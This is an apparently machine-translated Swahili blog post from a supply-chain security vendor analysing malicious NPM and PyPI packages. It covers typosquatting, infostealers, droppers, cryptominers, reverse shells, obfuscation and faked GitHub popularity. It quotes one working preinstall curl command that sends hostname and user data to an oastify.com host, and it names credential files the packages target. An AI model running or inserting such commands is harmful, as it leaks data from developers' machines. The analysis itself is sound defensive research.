Vifurushi Hasidi 5

Anatomia ya Vifurushi Hasidi: Je, Mitindo Ni Ipi?

Katika kipindi kilichopita, Vifurushi Hasidi vya Chanzo Huria: Tatizo, tulijadili kwa nini wahusika wa vitisho walikuwa hivyo shauku kuhusu kuchapisha vipengele vipya hasidi au kuingiza programu hasidi katika matoleo ya hivi karibuni ya vipengele vilivyopo: Miundombinu ya programu huria inaruhusu mtu yeyote popote kuunda akaunti ya muda mfupi katika sajili ya vipengele (kama vile NPM, PyPI, Docker Hub au Visual Studio Marketplace) au jukwaa la uundaji shirikishi (kama vile GitHub). Hakuna gharama, na fursa nyingi za kutumia uaminifu wa ziada ambao timu za programu huwa nazo kwa kawaida kwenye vipengele vya wahusika wengine. 

Tofauti kati ya jinsi ilivyo rahisi kwa washambuliaji kusambaza programu hasidi kwa kutumia miundombinu inayopatikana kwa programu huria, na jinsi ilivyo vigumu kwa mashirika yanayotengeneza programu (kila mtu?) kuepuka kuambukizwa na programu hasidi (na kutoa programu hasidi katika programu wanayosambaza kwa wengine), ilisababisha alama ya robo milioni ya vifurushi hasidi karibu kufikiwa mwaka jana. 

Hili ni tatizo kubwa sana kiasi kwamba hakuna shirika moja linaloweza kulitatua, na jamii iko katika mchakato wa kuunda upya mchakato wa chanzo huria kuhusu uaminifu, kanuni za usalama kwa chaguo-msingi na usalama kwa muundo, na mzunguko wa maisha wa vipengele. Tutaangalia mawazo kama hayo katika kipindi kijacho. Kulinda Dhidi ya Vifurushi Hasidi vya Chanzo Huria: Kinachofanya Kazi (Hakifanyi Kazi).

Kumbuka kwamba tunazungumzia vipengele vya programu ambavyo mara nyingi vinahusiana vifurushi vya programu: vipengele vinavyoweza kutumika tena vikiwa vimepakiwa ili viweze kurejelewa kama tegemezi katika faili ya programu, na kusakinishwa na meneja wa kifurushi au zana ya ujenzi. Tafadhali kumbuka kuwa kesi hii inaweza kupanuliwa ili kujumuisha public picha za kontena (inayotumiwa na muda wa uendeshaji wa vyombo na majukwaa ya upangaji kama Kubernetes), na viendelezi vya zana za programu (kwa ajili ya ujenzi, otomatiki, na upelekaji). 

Hapa tunachambua jinsi hii mbinu ya kushambulia kulingana na vipengele hasidi inafanya kazi, kulingana na mifano ya zamani na kile tulichokiona katika mfumo wetu wa Onyo la Mapema la Programu Hasidi (MEW). Tutachambua vipengele hasidi katika vipimo tofauti: 

(1) njia iliyochaguliwa kwa ajili ya usambazaji (sajili inayotumika, katika sehemu mpya au iliyopo, na mbinu inayotumika kwa kuambukiza toleo la sehemu iliyochapishwa), (2) jinsi programu hasidi inavyoamilishwa au kuanzishwa, (3) tabia mbaya yaani ni vitendo gani hatari vinavyoonekana na ni nini motisha ya mshambuliaji, (4) ni mbinu zipi ni za kawaida kwa ajili ya kuficha, kujificha kwa kutoonekana, harakati za pembeni, mawasiliano na wenyeji wa amri na udhibiti (C2), n.k.; na (5) mbinu za kupata umaarufu na uaminifu wa kutosha ili waathiriwa waishie kusakinisha sehemu hiyo.

Mfumo wa Usambazaji Uliochaguliwa

Tunaona "kelele ya mandharinyuma"ya vifurushi hasidi visivyo vya kisasa vinavyotumia uchapaji chapa ili kuwahadaa wasanidi programu wasio na tahadhari wenye uchapaji wa makosa katika jina la kifurushi kwa utegemezi wao. Vifurushi vingi maarufu hupokea mfululizo wa vifurushi vilivyo na majina sawa na uchapaji wa makosa, kwa matarajio kwamba vitawahadaa baadhi ya wasanidi programu wasio na tahadhari. 

Wanatumia akaunti ya muda mfupi, huchapisha kikundi cha vifurushi vya uchapaji, huunda kingine, na kuchapisha kikundi kingine… Kwa kutumia otomatiki na ustadi fulani wanaweza kupata ustadi fulani, lakini kwa kawaida huwa kidogo. Tunawaita ndani yao “anchovies"Kuiba vitambulisho ndio lengo kuu, lakini mara kwa mara tunapata programu chafuzi zikitoa msimbo chanzo au data nyeti kama vile taarifa zinazotambulika kibinafsi (PII), kunasa ubao wa kunakili, na mashaka mengine.

Kwa ghafla tunaona vipengele vya hatari vya kisasa zaidi, "papa". Wachache hulengwa kwa makundi au mashirika maalum, kwa kawaida yenye vichujio vya crypto au vichujio vya wavuti ambavyo huamilishwa kwa masharti, labda kufuatia mbinu inayoonekana katika tukio la mtiririko wa matukio ya kufuta usimbaji fiche wa mzigo wa mashambulizi tu wakati kifurushi kinarejelewa kutoka kwa kifurushi lengwa. 

Utaratibu wa usambazaji ulichambuliwa katika karatasi bora na sasa ya kitambo, “Mkusanyiko wa Visu vya Backstabber: Mapitio ya Mashambulizi ya Mnyororo wa Ugavi wa Programu Huria", ambayo ni lazima isomeke. Hakika umewahi kuona chati hii nzuri hapo awali: 

vifurushi hasidi

Njia zote zilichunguzwa, ikiwa ni pamoja na vifurushi vipya na vilivyopo; kuathiri msimbo chanzo, mfumo wa ujenzi, au sehemu iliyofungashwa yenyewe; kutumia vitambulisho vilivyoibiwa au uhandisi wa kijamii; kuteka nyara akaunti na hazina zilizotelekezwa au sumu zilizohifadhiwa. Baadhi ya mashambulizi yalipokea majina (Kupiga chapa kwa kutumia typosquatting, Mkanganyiko wa Utegemezi, Mkanganyiko wa Dhahiri, Uporaji upya. n.k.) na tayari zilijadiliwa kwingineko. 

Vipi kuhusu sajili zilizochaguliwa?

NPM inaendelea kuongoza katika jumla ya vifurushi hasidi, lakini tuliona ongezeko kubwa kuanzia mwaka huu kwenye PyPI. Python ni mfumo ikolojia maarufu wa sayansi ya data na ujifunzaji wa mashine. Kwa kweli, msongamano wa programu hasidi sasa uko juu katika PyPI kuliko katika NPM. 

Jinsi programu hasidi inavyoanzishwa

Vifurushi hasidi huanzishwa wakati wa usakinishaji katika visa 4 tu kati ya 10 (katika miaka ya hivi karibuni vilikuwa karibu 6 kati ya 10). Vifurushi vilivyobaki hufanya kazi ya kudhuru wakati wa utekelezaji, huku 1 kati ya 100 ikianzishwa wakati wa majaribio. Wapinzani wanaonekana kujua kwamba utekelezaji usiodhibitiwa wa hati za usakinishaji ulizimwa katika sehemu nyingi.

Watu wabaya wanapata nini?

Tutaorodhesha kategoria za tabia mbaya, huku maarufu zaidi zikipewa nafasi ya kwanza. Tafadhali kumbuka kuwa athari inaweza kuwa tofauti kabisa: a kifuta maji ni uharibifu mkubwa, lakini si jambo la kawaida na lilionekana katika visa vichache tu, vinavyohusiana na kampeni za vita vya mtandaoni zilizolengwa au ulaghai wa kikatili. Aina zifuatazo ni za kawaida sana:

  • Infostealer / Kisafishaji cha Vitambulisho. Kwa zaidi ya mara nyingi, zaidi ya 90% ya mashambulizi yasiyo ya kisasa ni wizi rahisi wanaotafuta hasa sifa kama vile manenosiri, tokeni za ufikiaji, funguo za API, na funguo za faragha (kwa SSH na kadhalika). Huenda ndiyo rahisi zaidi kuandika (pamoja na vifutaji?). Wanaorodhesha faili/saraka zinazojulikana na vyanzo vingine (km funguo za usajili), hufungasha yaliyomo, na kutuma data hiyo kwa seva ya C2. Wazo ni rahisi: "Ninachapisha mwizi kwa sifa za ulaghai, ili baadaye niweze kutumia sifa hizo kwa kuanzisha shambulio lililoelekezwa". 

Mtandao wa C2 unaoonekana kwa kawaida ni wa bei nafuu na chafu, kama vile njia za Telegram au zana za handaki zinazofanana na ngorok (mara nyingi katika mfumo wa proksi za nyuma zinazofichuliwa kupitia IP za VPN zinazotoka). Kuna mamia (!) ya uwezekano, huku miradi mingi ya GitHub ikiwa chini ya mada ya wizi wa nenosiriUtaalamu kama vile vibandika funguo ni nadra kwa vifurushi hasidi na picha za kontena, lakini mara nyingi zaidi katika viendelezi vya zana, ambapo mwingiliano wa mtumiaji unatarajiwa.

  • Kiteremshi/Kipakuzi. Ya pili kwa umaarufu, kwa kawaida huja kwanza katika mashambulizi ya hatua nyingi. Zaidi ya moja kati ya vipengele vitatu hasidi vina vidhibiti (ikiwa mzigo hasidi huja pamoja ndani ya kifurushi) au vipakuzi (mzigo hupakuliwa kutoka sehemu ya mwisho chini ya udhibiti wa mshambuliaji). Mzigo mara nyingi ni aina ya programu hasidi ya binary inayojulikana, na huendeshwa na wakati mwingine huendelea, kwa ajili ya kusakinisha milango ya nyuma, programu za ujasusi, viondoa maji vya crypto, na matumizi mengine. Mzigo wa malipo uliopakuliwa au kusambazwa huanza shambulio la awamu ya pili kwa nguvu zote zinazotolewa na programu hasidi zilizopo. Programu hizi mbili zinaweza kusambazwa ndani ya kifurushi, mara nyingi hujifanya kama picha au aina za faili zinazodhaniwa kuwa hazina madhara, ili kuepuka kugunduliwa wakati wa kuunganisha kwenye tovuti zisizotarajiwa. 
  • Waibaji/Wachimbaji wa Fedha za KidijitaliWapinzani wenye nia ya kifedha wako tayari kutumia mali zako za wingu kwa kuendesha wachimbaji wa crypto (hata hugundua kama zinaendeshwa katika VM ya wingu). Hawajali kuhusu uwiano wa faida ndogo ya $1 kwa kila $53 inayotozwa kwa mwathiriwa kwa miundombinu ya wingu iliyoibiwa. Huenda waathiriwa wasijue hili hadi watakapopokea bili isiyotarajiwa. Kwa bahati nzuri, hii huja na kuondoka. Cryptojacking Kampeni katika vifurushi hasidi mara kwa mara hujitokeza na kisha hufifia, na hivyo kuhadaa watumiaji wa pochi au hatimaye kulenga mtoa huduma wa pochi, kama ilivyo katika Shambulio la leja.   

Tabia zingine, kama vile kupeleka backdoor Kwa utekelezaji wa msimbo wa mbali kwa kufungua ganda la kinyume, utekelezaji wa msimbo wa mbali kwa kufungua ganda la kinyume ni mara chache sasa kuliko ilivyokuwa hapo awali. Kwa mfano, 123rf_mchangiaji_wavuti kifurushi (sasa kimeondolewa kwenye sajili) hufunguka bila kuficha chochote, ganda la kinyume limenakiliwa na kubandikwa kutoka Karatasi ya Kudanganya ya Shell ya Nyuma:

vifurushi hasidi 2
Aina mbaya za vifurushi zilizingatiwa wakati wa wiki ya tarehe 24-30 Juni 2024.

Mbali na vipengele halali na vyenye nia mbaya, tumeona matumizi mabaya kadhaa, ikiwa ni pamoja na:

Vifurushi vya barua taka

Kuna maelfu ya vifurushi vidogo, vingi vikiwa katika NPM, bila programu hasidi lakini inaahidi mapato rahisi, mafuta ya nyoka, viungo vya huduma za Viagra, na mengineyo. Watumiaji wachache huchapisha barua taka kama hizo na kuchukua kipimo data kikubwa kutoka kwa sajili. Mwigizaji mwingine (waigizaji) anayewezekana kutoka Indonesia alijaribu kupata faida kwa kutumia vibaya teaRank imekusudiwa kuwalipa fidia watengenezaji wa programu huria, kwa kuunda makumi ya maelfu ya vifurushi vya NPM vinavyohusiana pamoja na hazina husika za GitHub. Huu ni ukiukaji dhahiri wa masharti ya matumizi.

Udanganyifu wa utafiti wa faida ya hitilafu na usalama

 Wakati kifurushi kinajielezea kama kinachochuja data kwa madhumuni mazuri, kama vile kugundua dosari za usalama kwa programu za zawadi ya hitilafu au kutafiti vipengele fulani vya mfumo ikolojia. Tumeona maelfu ya vifurushi katika kategoria hii, ambavyo huleta utambulisho lakini si data nyeti sana kwa anwani ya Mshirika wa Burp kutoka PortSwigger (km mwenyeji katika kikoa cha oastify.com). Mara nyingi tuliona nakala za Mkanganyiko wa Utegemezi uthibitisho wa dhana na Alex Birsan, kama vile aurora-webmail-pro kifurushi (kilichoondolewa kwenye sajili), ambacho huendesha tu msimbo huu mbaya katika hati ya kusakinisha kabla:

exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")  

Na pia ilijumuisha "Huu ni Uthibitisho Rahisi wa Shambulio la Kuchanganyikiwa la Utegemezi la Dhana"maelezo ya kanusho katika kifurushi.jsonHuu ni ukiukaji wa wazi wa sheria na masharti, hata bila nia mbaya. 

Habari njema? Hatujaona (bado) mashambulizi ya ransomware yakitolewa kupitia vipengele hasidi. Kwa sababu zisizojulikana, wahalifu wa mtandaoni wanaonekana kupendelea zaidi mifumo ya kawaida ya ulaghai kupitia barua pepe, ulaghai wa kibinafsi unaotegemea RDP, na uwasilishaji wa upakuaji kwa njia ya kiendeshi. 

Mbinu za Ziada Zilizozingatiwa 

vifurushi hasidi 3

Mbinu nyingi zilitumika kwa ajili ya uvumilivu, ukwepaji wa ulinzi, ukusanyaji wa taarifa, mawasiliano na wenyeji wa amri na udhibiti, na uchujaji. 

Kuendelea katika vipengele hasidi hupatikana kwa kutumia vipengele vya kudumu katika programu hasidi ya hatua ya pili ya mfumo wa binary, lakini wakati mwingine tabia hiyo iko katika msimbo wa kifurushi, huku kazi zilizopangwa na mabadiliko katika sajili ya Windows yakiwa ya kawaida zaidi. 

Kufutwa ni jambo la kawaida, lakini si la kisasa. Vifurushi vingi vya uchapaji (kumbuka "anchovies"?") hawatumii ufichuzi hata kidogo; wengi hutumia zile ndogo (usimbaji wa msingi64/hex au siphers mbadala kama vile rot13) au hutumia vifichuzi vya msimbo na uboreshaji unaopatikana, ambao hubadilishwa kwa urahisi na zana sahihi. Ni "papa" pekee wanaofanya uundaji halisi, mgumu, ufichuzi, na mgumu kugeuza.

Ufumbuzi unaweza kuficha shambulio, lakini kwa nini msimbo katika sehemu ya chanzo huria unahitaji kufichwa? Je, kuna ushahidi kwamba kitu kinahitaji kufichwa kutoka kwa macho wazi? Tumegundua mifano mingi ya vifurushi visivyo na nia mbaya vinavyotumia ufumbuzi kulinda miliki ya kiakili, ambayo inapingana na "chanzo huria". Ufumbuzi unaweza kutumika kama ushahidi wa programu hasidi, lakini sio wa kuhitimisha. Pia ni vigumu kuondoa ufumbuzi. 

ukwepaji kutoka kwa udhibiti wa ulinzi hutumia mbinu rahisi. Msimbo hasidi mara nyingi unalindwa katika jaribu ... pata Vizuizi vinavyopuuza vighairi vyovyote, kwa hivyo shughuli isiyo ya kawaida haionyeshwi kwenye kumbukumbu. Uthibitishaji wa mazingira (yanayoendeshwa katika VM au chombo) ni nadra, isipokuwa kwa programu hasidi inayolenga shirika au mazingira fulani.

Kuficha picha mbili katika picha na faili za PDF (aina ya steganografia) ilikuwa mbinu nyingine iliyoonekana kukwepa kugunduliwa.

Kwa kuwa vipengele hasidi vya kawaida ni wizi wa taarifa, ukusanyaji wa takwimu ni muhimu. Siri (manenosiri, tokeni za ufikiaji, funguo za API, funguo za kriptografia) huchanganuliwa mara kwa mara katika faili za kumbukumbu, vigeu vya mazingira, na hata ubao wa kunakili (unaoonekana na trojans za benki na wezi wa kriptografia). Uondoaji wa msimbo chanzo pia ni jambo la kawaida, kwani usakinishaji wa kifurushi mara nyingi hufanywa katika nodi ya usanidi ambapo hazina za ndani za git zinaweza kutengenezwa kwa nakala. Tumeona vifurushi vikiorodhesha saraka zikitafuta hazina za git. Kutafuta maeneo kama .env, private.pem, settings.py, app.js, au application.properties ni jambo la kawaida sana.

Kuchuja ni kitendo kingine kinachotumika sana. Ni vifurushi vichache tu vya programu hasidi vinavyojaribu kuficha marudio ya data iliyotolewa. Njia za telegramu na handaki zinazofanana na ngorok hutumiwa mara nyingi. Na kuna mengi vikoa vilivyoorodheshwa kwa kawaida hutumika kwa ajili ya kuchuja

Mbinu zingine, kama vile upendeleo wa kupanda au harakati za pembeni, hazikuwa za kawaida sana. 

Kupata Umaarufu na Kuaminika

Hebu fikiria mhalifu wa teknolojia akiwa na muuaji aliyetengenezwa tayari na mwenye nia mbaya akijiuliza: "Ninawezaje kufanya kipande hiki cha s#$! kiwe cha kuaminika kwa wapumbavu hao wasio na shaka?". 

Hilo linamaanisha jinsi ya kutengeneza ingizo la kipengele hasidi ili kuonyesha nyota/uma nyingi (kwa umaarufu), pamoja na matoleo/masuala na pull requests (kwa shughuli). Wazo ni kupata umaarufu wa kubuni (nyota) na wategemezi, na mwonekano wa kushawishi kuhusu umuhimu na matengenezo. 

Usajili hauangalii kama yaliyomo katika mradi wa GitHub na yaliyomo kwenye kifurushi yanalinganaHili ni suala linalojulikana sana katika mnyororo wa usambazaji wa programu. Sajili za umma ni mashimo makubwa yanayomeza kila kitu kinachotupwa. Unaweza kuunganisha hazina yoyote. 

vifurushi hasidi 4
Usambazaji wa ushahidi katika programu hasidi inayoweza kutokea wakati wa wiki ya tarehe 24-30 Juni 2024.

Ikiwa kifurushi hasidi cha kuandika makosa kikichuchumaa maarufu, hiyo ni rahisi: rejelea tu hazina iliyopo ya GitHub katika maelezo ya utegemezi yanayotumika kuunda kifurushi na kukichapisha kwenye sajili. Kwa vifurushi vipya kwenye repo bandia ya GitHub, huenda ukahitaji ustadi zaidi, labda kuunda bandia. kutazama nyota/kukata uma Akaunti za GitHub kupitia hati.

Na ikiwa yaliyomo kwenye kifurushi chako yanafanana kwa kiasi fulani na repo, ingiza mabadiliko kadhaa yaliyoundwa vizuri hapa na pale… Unaweza kuingiza programu hasidi yako kwenye kifurushi kipya kinachofanana na kile maarufu kinachorejelea hazina ya iliyopo, na kusubiri makosa ya kuandika. Ikiwa mtu yeyote atathubutu kulinganisha yaliyomo kwenye tarball ya kifurushi na yaliyomo kutoka hazina ya GitHub, tofauti katika sehemu za kuingiza programu hasidi zinaweza kukosekana kwa urahisi. Tumeona mbinu hii mara nyingi hapo awali. 

Utaratibu wa sehemu kutoa taarifa isiyoweza kubadilishwa kuhusu asili, jinsi kifurushi kilivyojengwa, kutoka vyanzo gani, na kutoka kwa nani, ingekaribishwa. Lakini hiyo ni hadithi nyingine. 

Je, sehemu X ni programu hasidi?

Je, kuna hifadhidata (kamili) ya vifurushi hasidi? Hapana. Udhaifu wa chanzo huria una Kitambulisho cha CVE kilichopewa, lakini ni vifurushi vichache hasidi (hasa vile vinavyotengeneza vichwa vya habari) vinavyopewa kimoja. CWE ya vifurushi hasidi ni CWE-506 (msimbo hasidi uliopachikwa). 

Zana za kawaida za programu hasidi (VirusTotal, MalwareBazaar, SOREL-20M…) hazitoi masharti maalum kwa vipengele hasidi. Hilo lingekaribishwa!

Kuna sampuli za hifadhidata za utafiti na seti za data kwa ajili ya uchambuzi (tunatumia chache kati ya hizo), lakini maingizo husasishwa tu wakati kifurushi hasidi kinajulikana, ambacho mara nyingi huwa kimechelewa. Ikiwa una nia, OpenSSF Vifurushi Hasidi ni mwanzo mzuri.

Katika chapisho lijalo, tutajadili jinsi ya kujua kama kifurushi fulani ni kibaya. Kidokezo: ndio, kuna njia za kuangalia vipengele vibaya mapema wakati wa dirisha la mfiduo, kabla ya usajili kuondoa kipengele kibaya kinachojulikana.

Zaidi ya kusoma

Katika kipindi kijacho “Kulinda Dhidi ya Vifurushi Hasidi vya Chanzo Huria: Kinachofanya Kazi (Hakifanyi Kazi)" Tutajadili mambo ya kufanya na yasiyopaswa kufanya kwa usalama wa programu huria. Wataalamu wengi wanaojali usalama wana mawazo kuhusu jinsi ya kushughulikia tishio hili, lakini dhana potofu zipo nyingi. 

Tutapitia kwa nini mawazo haya si sahihi, na jinsi dhana potofu kama hizo zinavyochangia umaarufu wa utaratibu huu wa mashambulizi, na hatari kubwa ambayo mashirika yanapitia. Tutaendelea na kinachofanya kazi, na ni juhudi na rasilimali zipi zinazohusika. 

Pia, tutachapisha kuhusu mageuko ya vifurushi hasidi kulingana na nia yao, utaratibu wa sindano, na mbinu za kushambulia.

Endelea!

Marejeo

Vifurushi Hasidi vya Chanzo Huria: Tatizo

Kulinda Dhidi ya Vifurushi Hasidi vya OSS: Kinachofanya Kazi (Hakifanyi Kazi)

zana-za-sca-za-uchambuzi-wa-muundo-wa-programu
Weka kipaumbele, rekebisha, na ulinde hatari za programu yako
Pata Akaunti yako ya Bure.
Hakuna kadi ya mkopo inayotakiwa.

Linda Uundaji na Uwasilishaji wa Programu yako

na Xygeni Product Suite